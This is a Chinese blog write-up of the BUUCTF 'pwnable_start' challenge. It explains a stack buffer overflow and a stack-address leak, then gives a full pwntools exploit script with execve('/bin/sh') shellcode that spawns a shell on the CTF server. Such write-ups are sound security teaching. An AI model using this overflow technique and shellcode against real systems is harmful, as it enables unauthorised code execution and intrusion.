关于BUUCTF之“pwnable_start”的一点小结

 之前这个用汇编代码编写shellcode的题目做的较少,这题算是开端。

正常检查程序保护,啥也没开。
我们先分析一波程序:
在这里插入图片描述
需要用到一点汇编知识,总的意思是:四个xor清零四个寄存器。而后压栈数据,是最开始会输出的“Let’s start the CTF:”然后调用write函数输出上面内容0x14个字节。而后调用read函数输入最大0x3c字节内容。在add esp ;然后返回。
我们选择shellcode在栈上执行办法。所以我们需要泄露栈地址,计算偏移量,覆盖返回地址为shellcode所在地址
首先我们泄露栈地址:

second_write = 0x08048087
payload = b"A" * offset + p32(second_write)

这里我们解释为什么第二次调用write就能够泄露栈的地址了:

我们对着IDA上边的.text解释:
0x8048087:之前栈上压入了6个数据;之后read函数,write函数调用完后esp始终没有变化,直到出现了add esp,0x14.这使得esp此时指向第二个压入的数据,也就是返回地址(这里是exit的地址),其上就是第一次压入的数据(栈的地址,就是即将被泄露的栈的地址)
在这里插入图片描述
如上,栈第二个地方存的就是第一个被压入的数据,也就是其下面的栈的地址。所以当paylaod1发送时,返回“0x08048087 mov ecx, esp ; addr”到这里执行,使cx指向栈顶,此时栈顶就是第一个被压入的数据,存的正是栈的初始地址,可以被泄露。

WP:

from pwn import *
r = remote("node4.buuoj.cn",25434)
context(arch="i386",os="linux",log_level="debug")
offset = 0x14
second_write = 0x08048087
payload = b"A" * offset + p32(second_write)
r.sendafter(":",payload)
#r.recvuntil(":")
#r.sendline(payload)用着两句不行,会报错。
stack_addr = u32(r.recv(4))
#print("stack_addr ---> ",hex(stack_addr))
#shellcode=asm(shellcraft.sh())  
shellcode=asm( "xor ecx,ecx;xor edx,edx ; push edx;push 0x68732f6e;push 0x69622f2f; mov ebx,esp;mov eax,0xb;int 0x80 "
)

#shellcode= b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'
#payload= b'a' * offset + p32(stack_addr + offset) + shellcode
payload=b'a'*20+p32(stack_addr+20)+shellcode
r.send(payload)
r.interactive()

这里再解释一下" p32(stack_addr + offset)":
因为第二次执行完read之后执行了 add esp, 14h,此时esp指向的就是即将执行的shellcode的地址,而shellcode的地址正是泄露的stack_addr +20

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值